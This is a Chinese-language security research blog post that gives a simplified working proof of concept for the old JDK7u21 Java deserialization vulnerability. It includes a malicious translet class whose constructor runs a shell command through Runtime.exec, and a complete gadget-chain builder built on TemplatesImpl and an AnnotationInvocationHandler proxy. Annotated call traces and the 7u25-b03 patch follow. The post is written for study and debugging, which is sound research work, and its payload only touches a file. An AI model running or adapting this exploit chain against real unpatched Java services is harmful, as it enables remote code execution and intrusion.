标题: JDK7u21反序列化漏洞
☆ 前言
☆ Serializable接口详解
11) JDK7u21反序列化漏洞
11.1) JacksonExploit7u21.java
11.2) JDK7u21Exec.java
11.3) 复杂版调用关系
11.4) 简化版调用关系
11.5) 7u25-b03(2013-06-18)修补方案
☆ 后记
☆ 参考资源
☆ 前言
本篇提供简版PoC以便调试分析"JDK7u21反序列化漏洞",炒个超级冷饭。
以前不想细究这个洞,太老了。上周看"MySQL JDBC客户端反序列化漏洞",fnmsd提到"JDK8u20反序列化漏洞"。看8u20时涉及到7u21,故有此篇。8u20将是续篇。
去年11月看CVE-2019-6980(Zimbra)时搜到fnmsd,觉得他在这个方向的技术水平挺好,所以他提到的东西我相对都要重视一些。这是比较靠谱的经验,如果觉得谁的文章不错,就提高TA的权值,反之则降权。fnmsd的个人主页是:
https://blog.csdn.net/fnmsd
有兴趣者可以围观一下。一般看到真心分享且水平不错的个人主页,我喜欢在微博上向大家推荐,从不推荐"纯秀型"个人及其主页。
基本没写文字分析,PoC中的注释和两组调用关系是给自己看的,以防调试分析完过段时间就忘了,岂不白调。初次接触7u21者可以直接调试本篇提供的简版PoC,关键点都在两组调用关系中给出。
最佳入手方式是,先把PoC跑通,然后打个断点:
stop in java.lang.Runtime.exec(java.lang.String[])
命中后查看调用栈回溯中的各层代码。基本框架搞清楚后,再根据两组调用关系调试分析其他分支流程。调试分析的最终停止原则是,已能回答自己的每一个"为什么"。
☆ Serializable接口详解
11) JDK7u21反序列化漏洞
参[52]
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21.java
https://gist.github.com/frohoff/24af7913611f8406eaf3
这个洞是2015.12.18由Chris Frohoff报告给Oracle的,能搞7u25-b03之前的版本,不依赖第三方库。
11.1) JacksonExploit7u21.java
同CVE-2017-7525所用JacksonExploit.java,必须是AbstractTranslet的子类。区别只是这次换个类名,用7u21编译,减少潜在麻烦。
/*
* javac_7_21 -encoding GBK -g -XDignore.symbol.file JacksonExploit7u21.java
*/
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/*
* 必须是public,否则不能成功执行命令
*/
public class JacksonExploit7u21 extends AbstractTranslet{
/*
* 必须是public
*/
public JacksonExploit7u21 (){
try
{
System.out.println( "scz is here" );
Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } );
}
catch ( IOException e )
{
e.printStackTrace();
}
}
/*
* 必须重载这两个抽象方法,否则编译时报错
*/
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ){
}
@Override
public void transform ( DOM document, SerializationHandler[] handler ){
}
}
11.2) JDK7u21Exec.java
/*
* javac_7_21 -encoding GBK -g -XDignore.symbol.file JDK7u21Exec.java
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import java.lang.annotation.*;
import java.nio.file.Files;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
public class JDK7u21Exec{
private static TemplatesImpl getTemplatesImpl ( String evilclass ) throws Exception{
byte[] evilbyte = Files.readAllBytes( ( new File( evilclass ) ).toPath() );
TemplatesImpl ti = new TemplatesImpl();
/*
* 真正有用的是_bytecodes,但_tfactory、_name为null时没机会让
* _bytecodes得到执行,中途就会抛异常。
*/
Field _bytecodes = TemplatesImpl.class.getDeclaredField( "_bytecodes" );
_bytecodes.setAccessible( true );
_bytecodes.set( ti, new byte[][] { evilbyte } );
/*
* 这个操作对7u21没必要。后来某个版本开始,如果未指定_tfactory,
* 会在TemplatesImpl.defineTransletClasses()触发空指针引用。
*/
// Field _tfactory = TemplatesImpl.class.getDeclaredField( "_tfactory" );
// _tfactory.setAccessible( true );
// _tfactory.set( ti, new TransformerFactoryImpl() );
Field _name = TemplatesImpl.class.getDeclaredField( "_name" );
_name.setAccessible( true );
/*
* 第二形参可以是任意字符串,比如空串,但不能是null
*/
_name.set( ti, "" );
/*
* 下面这两个操作对7u21没必要
*/
// Field _auxClasses = TemplatesImpl.class.getDeclaredField( "_auxClasses" );
// _auxClasses.setAccessible( true );
// _auxClasses.set( ti, null );
// Field _class = TemplatesImpl.class.getDeclaredField( "_class" );
// _class.setAccessible( true );
// _class.set( ti, null );
return( ti );
} /* end of getTemplatesImpl */
/*
* 返回待序列化Object
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String evilclass ) throws Exception{
TemplatesImpl ti = getTemplatesImpl( evilclass );
/*
* 不要直接在此
*
* hm.put( "0DE2FF10", ti )
*
* 否则后面的lhs.add( TemplatesProxy )会触发如下调用:
*
* HashSet.add
* HashMap.put
* $Proxy0.equals
* AnnotationInvocationHandler.invoke
* AnnotationInvocationHandler.equalsImpl
* Method.invoke
* TemplatesImpl.getOutputProperties
*
* 显然数据准备阶段不想看到这种效果
*/
HashMap hm = new HashMap( 1 );
/*
* AnnotationInvocationHandler不是public的,不能直接import
*/
Class clazz_AIH = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor cons_AIH = clazz_AIH.getDeclaredConstructor( Class.class, Map.class );
cons_AIH.setAccessible( true );
/*
* 只要是Annotation的子接口,且是public的,就可以用于第一形参,比
* 如:
*
* java.lang.Override
* java.lang.annotation.Documented
* java.lang.annotation.Inherited
* java.lang.annotation.Retention
* java.lang.annotation.Target
*
* 用Override.class的好处在于它是"java.lang.*"中的,无需显式import
*/
InvocationHandler ih = ( InvocationHandler )cons_AIH.newInstance( Target.class, hm );
/*
* 通过type属性去获取Templates接口的两个方法名,分别是getOutputProperties、
* newTransformer。由于getOutputProperties先出现,将来利用链上有它。
* 如果newTransformer先出现,利用链上不需要getOutputProperties。
*/
Field f_type = clazz_AIH.getDeclaredField( "type" );
f_type.setAccessible( true );
/*
* 将来会调用Templates.class.getDeclaredMethods()
*/
f_type.set( ih, Templates.class );
Templates TemplatesProxy = ( Templates )Proxy.newProxyInstance
(
Templates.class.getClassLoader(),
new Class[] { Templates.class },
ih
);
LinkedHashSet lhs = new LinkedHashSet( 0 );
lhs.add( ti );
lhs.add( TemplatesProxy );
/*
* 原来用的是"f5a5a608"。只要字符串哈希等于0即可。
*/
hm.put( "0DE2FF10", ti );
return( lhs );
} /* end of getObject */
public static void main ( String[] argv ) throws Exception{
String evilclass = argv[0];
Object obj = getObject( evilclass );
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() );
ObjectInputStream ois = new ObjectInputStream( bis );
ois.readObject();
}
}
java_7_21 JDK7u21Exec JacksonExploit7u21.class
11.3) 复杂版调用关系
ObjectInputStream.readObject // 7u21
HashSet.readObject
capacity = s.readInt() // HashSet:297
// 返回2
loadFactor = s.readFloat() // HashSet:298
// 返回0.75
map = new LinkedHashMap(capacity, loadFactor) // HashSet:299// this现在是LinkedHashSet实例
size = s.readInt() // HashSet:304// 返回2
ObjectInputStream.readObject // HashSet:308// e = (E) s.readObject()// 读ti// LinkedHashSet会维持插入顺序,HashSet则不会
HashMap.put // HashSet:309// map.put(e, PRESENT);// put(ti)
HashMap.hash // HashMap:471// hash = hash(key)// key等于ti
LinkedHashMap.addEntry // HashMap:484// addEntry(hash, key, value, i)// key等于ti
HashMap.addEntry // LinkedHashMap:427
LinkedHashMap.createEntry // HashMap:856// createEntry(hash, key, value, bucketIndex)
LinkedHashMap$Entry. // LinkedHashMap:442// e = new Entry<>(hash, key, value, old)// e对应"ti=PRESENT"
HashMap$Entry. // LinkedHashMap:325// super(hash, key, value, next)value = v // HashMap:782
next = n // HashMap:783
key = k // HashMap:784
hash = h // HashMap:785// hash等于hash(ti)// 此处的hash并不经HashMap$Entry.hashCode()的计算// e.hash并不等于e.hashCode(),是两个概念,值也不一样
table[bucketIndex] = e // LinkedHashMap:443// e对应"ti=PRESENT"
ObjectInputStream.readObject // HashSet:308// 读TemplatesProxy
AnnotationInvocationHandler.readObject
AnnotationType.getInstance // AnnotationInvocationHandler:338if (result == null) // AnnotationType:83
AnnotationType. // AnnotationType:84if (!annotationClass.isAnnotation()) // AnnotationType:97// 形参annotationClass等于Templates.classthrow new IllegalArgumentException("Not an annotation type");// AnnotationType:98return // AnnotationInvocationHandler:341// 前面那个"Not an annotation type"异常被catch,在此继续// 正确做法应该继续抛异常,而不是return,7u25-b03的修补方案就是这么干的
HashMap.put // HashSet:309// map.put(e, PRESENT);// put(TemplatesProxy)
HashMap.hash // HashMap:471// hash = hash(key)// key等于TemplatesProxy// 在这个上下文里hash(TemplatesProxy)等于hash(ti)// hash(key)不直接等于key.hashCode(),对后者还有一些数学变换
$Proxy1.hashCode // HashMap:351// h ^= k.hashCode()// 计算TemplatesProxy的哈希相当于计算AnnotationInvocationHandler的哈希// 在这个上下文里k.hashCode()等于ti.hashCode()
AnnotationInvocationHandler.invoke
AnnotationInvocationHandler.hashCodeImpl // AnnotationInvocationHandler:64// return hashCodeImpl()// 在这个上下文里实际返回的是ti.hashCode()// 该函数内部对AnnotationInvocationHandler.memberValues的各循环求哈希// 再用一种算法将它们揉到一起返回
HashMap.entrySet // AnnotationInvocationHandler:294// for (Map.Entry e : memberValues.entrySet())// memberValues即hm// 返回"0DE2FF10=TemplatesImpl"
HashMap$Entry.getKey // AnnotationInvocationHandler:295// 返回字符串"0DE2FF10"
String.hashCode // AnnotationInvocationHandler:295// 计算"0DE2FF10"的哈希,返回0
HashMap$Entry.getValue // AnnotationInvocationHandler:295// 返回ti
AnnotationInvocationHandler.memberValueHashCode // AnnotationInvocationHandler:295// result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue())return value.hashCode() // AnnotationInvocationHandler:308// value等于ti,这个hashCode()是native方法,就是Object.hashCode()// 返回ti.hashCode()
HashMap.indexFor // HashMap:472// i = indexFor(hash, table.length)// 此处hash即hash(TemplatesProxy)// table.length等于2,一个对应"ti=PRESENT",另一个等于null,位置不固定// 两次从此经过,每次形参都相同,返回值也相同for (Entry e = table[i]; e != null; e = e.next) // HashMap:473// table[i]或e对应"ti=PRESENT"// 两次经过此处,要求i值相同
$Proxy1.equals // HashMap:475// if (e.hash == hash && ((k = e.key) == key || key.equals(k)))// e对应"ti=PRESENT"// e.hash即hash(ti),hash即hash(TemplatesProxy)// e.key或k对应ti,key对应TemplatesProxy
AnnotationInvocationHandler.invoke
AnnotationInvocationHandler.equalsImpl // AnnotationInvocationHandler:59// return equalsImpl(args[0]);// args[0]等于ti// 该函数内部会循环调用AnnotationInvocationHandler.type所指定类的各个方法
AnnotationInvocationHandler.getMemberMethods // AnnotationInvocationHandler:188
Class.getDeclaredMethods // AnnotationInvocationHandler:279// Method[] mm = type.getDeclaredMethods()// type对应"Templates.class",PoC中通过反射设置过type// 返回两个方法// 第一个是Templates.getOutputProperties()// 第二个是Templates.newTransformer()
Method.invoke // AnnotationInvocationHandler:197// hisValue = memberMethod.invoke(o)// memberMethod对应TemplatesImpl.getOutputProperties()// o等于ti
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer // TemplatesImpl:431// 此处开始TemplatesImpl利用链// 由Adam Gowdiak最早提出
TemplatesImpl.getTransletInstance // TemplatesImpl:410if (this._name == null) // TemplatesImpl:374return null // 如果this._name等于null,在此直接返回,没有机会初始化恶意class实例// 为了攻击成功,必须设法让this._name不等于null,可以为空串
TemplatesImpl.defineTransletClasses // TemplatesImpl:376this._class[i] = loader.defineClass(this._bytecodes[i])// TemplatesImpl:339// 在此将this._bytecodes转换成this._class[],即加载类if (superClass.getName().equals(ABSTRACT_TRANSLET))// TemplatesImpl:343// 加载_bytecodes成功后,检查其父类是否是AbstractTranslet// 必须满足该条件,否则在恶意构造函数被执行之前就抛异常
Class.newInstance // TemplatesImpl:380// (AbstractTranslet)this._class[this._transletIndex].newInstance()
JacksonExploit7u21.
Runtime.exec
11.4) 简化版调用关系
ObjectInputStream.readObject // 7u21
HashSet.readObject
ObjectInputStream.readObject // HashSet:308
// 读ti
// LinkedHashSet会维持插入顺序,HashSet则不会
HashMap.put // HashSet:309
ObjectInputStream.readObject // HashSet:308
// 读TemplatesProxy
HashMap.put // HashSet:309
HashMap.hash // HashMap:471
// hash = hash(key)
// 在这个上下文里hash(TemplatesProxy)等于hash(ti)
// hash(key)不直接等于key.hashCode(),对后者还有一些数学变换
HashMap.indexFor // HashMap:472
// 两次从此经过,每次形参都相同,返回值也相同
for (Entry e = table[i]; e != null; e = e.next) // HashMap:473// table[i]或e对应"ti=PRESENT"// 两次经过此处,要求i值相同
$Proxy1.equals // HashMap:475// if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
AnnotationInvocationHandler.invoke
AnnotationInvocationHandler.equalsImpl // AnnotationInvocationHandler:59// 该函数内部会循环调用AnnotationInvocationHandler.type所指定类的各个方法
AnnotationInvocationHandler.getMemberMethods // AnnotationInvocationHandler:188
Class.getDeclaredMethods // AnnotationInvocationHandler:279// 返回两个方法// 第一个是Templates.getOutputProperties()// 第二个是Templates.newTransformer()
Method.invoke // AnnotationInvocationHandler:197
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer // TemplatesImpl:431// 此处开始TemplatesImpl利用链// 由Adam Gowdiak最早提出
11.5) 7u25-b03(2013-06-18)修补方案
参
http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u25-b03/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
/*
* sun.reflect.annotation.AnnotationInvocationHandler.readObject(ObjectInputStream) : void
*/
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
/*
* 341行,过去此处是return,从7u25-b03开始,此处接着抛异常
*/
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
...
}
7u25-b01、7u25-b02尚未如此修补,341行处仍在return。有些文章说修补方案是检查了AnnotationInvocationHandler.type,估计他们是根据抛出的异常这么说的。事实上对AnnotationInvocationHandler.type的检查一直存在,要求type与java.lang.annotation.Annotation有派生、继承、实现关系,但7u25-b03之前发现问题后抛出的异常被341行的catch捕捉之后没有继续抛异常,而是return了。
☆ 后记
留一个趣味求解。在Java反序列化漏洞领域,字符串"f5a5a608"已经人尽皆知,现在求解另一个字符串,其哈希亦为零,约束条件,在[a-z0-9]范围内的8字符串。注意约束条件,长度大于8的、所用字符不在[a-z0-9]范围内的,都不符合要求。
4月份我在微博上出了这道题,ID为香依香偎、crackme00的两位分别给了一些正确答案。答案不唯一,答案本身不重要,只是给那些"永远充满好奇心的人们"出个趣味题,比如练练手,挑战一下求解代码的性能优化、提升,没有其他意义。
☆ 参考资源
[52]
ysoserial
https://github.com/frohoff/ysoserial/
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
(A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization)
(可以自己编译,不需要下这个jar包)
git clone https://github.com/frohoff/ysoserial.git
TXT全文
http://scz.617.cn/web/202006081706.txt
感兴趣者请在PC上用浏览器下载回本地阅读,微信公众号排版受限。